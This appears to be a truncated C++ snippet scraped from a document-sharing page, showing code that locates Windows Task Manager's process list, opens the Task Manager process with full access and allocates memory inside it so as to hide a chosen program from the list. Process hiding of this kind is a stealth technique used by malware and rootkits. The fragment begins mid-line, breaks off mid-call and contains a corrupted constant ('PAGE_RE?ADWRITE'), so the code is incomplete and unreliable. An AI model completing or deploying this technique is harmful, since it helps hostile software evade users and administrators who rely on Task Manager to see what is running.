Академический Документы
Профессиональный Документы
Культура Документы
h>
#include <iostream>
#include <commctrl.h>
char ClassName[256];
GetClassName(hWnd,ClassName,256);
LVFINDINFO info;
memset(&info,0,sizeof(LVFINDINFO));
DWORD nIndex;
int Id;
char temp[]="taskmgr.exe"; //this name can be changed to the name of the desired
program to be hidden
//i chose taskmgr.exe for this example because everybody will have that program in
common if they are testing my program and checking task manager
info.flags = LVFI_STRING |LVFI_PARTIAL;
if((strcmp(ClassName,"SysListView32")==0)&&(strcmp(name,"Processes")==0))
{
GetWindowThreadProcessId(hWnd,(LPDWORD)&nIndex);
HANDLE Process=OpenProcess(PROCESS_ALL_ACCESS,FALSE, nIndex);
if(0<Process)
{
void *Address=VirtualAllocEx(Process,NULL,sizeof(info),MEM_RESERVE|
MEM_COMMIT,PAGE_RE?ADWRITE);